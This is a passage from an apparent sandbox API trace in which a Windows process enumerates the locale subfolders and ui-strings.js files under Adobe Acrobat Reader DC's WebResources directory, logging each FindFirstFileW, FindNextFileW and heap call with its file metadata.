ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.399] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9b1ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf-main.js", cAlternateFileName="")) returned 1 [0253.399] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0253.399] GetProcessHeap () returned 0xc10000 [0253.399] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39b28c8 [0253.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.401] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.401] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0253.402] GetProcessHeap () returned 0xc10000 [0253.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.404] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.404] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.404] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.574] GetProcessHeap () returned 0xc10000 [0253.574] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.574] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0253.574] GetProcessHeap () returned 0xc10000 [0253.574] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.580] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.580] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.580] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.580] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.581] GetProcessHeap () returned 0xc10000 [0253.581] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.581] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0253.581] GetProcessHeap () returned 0xc10000 [0253.581] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.582] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.582] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.583] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.583] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.583] GetProcessHeap () returned 0xc10000 [0253.583] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.583] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0253.584] GetProcessHeap () returned 0xc10000 [0253.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.585] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.585] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.585] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.585] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.586] GetProcessHeap () returned 0xc10000 [0253.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.586] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0253.586] GetProcessHeap () returned 0xc10000 [0253.586] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.587] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.587] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x42db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.587] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x42db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.587] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.588] GetProcessHeap () returned 0xc10000 [0253.588] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.588] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0253.588] GetProcessHeap () returned 0xc10000 [0253.588] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.621] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.621] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.621] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.622] GetProcessHeap () returned 0xc10000 [0253.622] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.622] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0253.622] GetProcessHeap () returned 0xc10000 [0253.622] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.623] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.624] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x37ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.624] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x37ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.624] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.624] GetProcessHeap () returned 0xc10000 [0253.625] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.625] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0253.625] GetProcessHeap () returned 0xc10000 [0253.625] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.626] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, 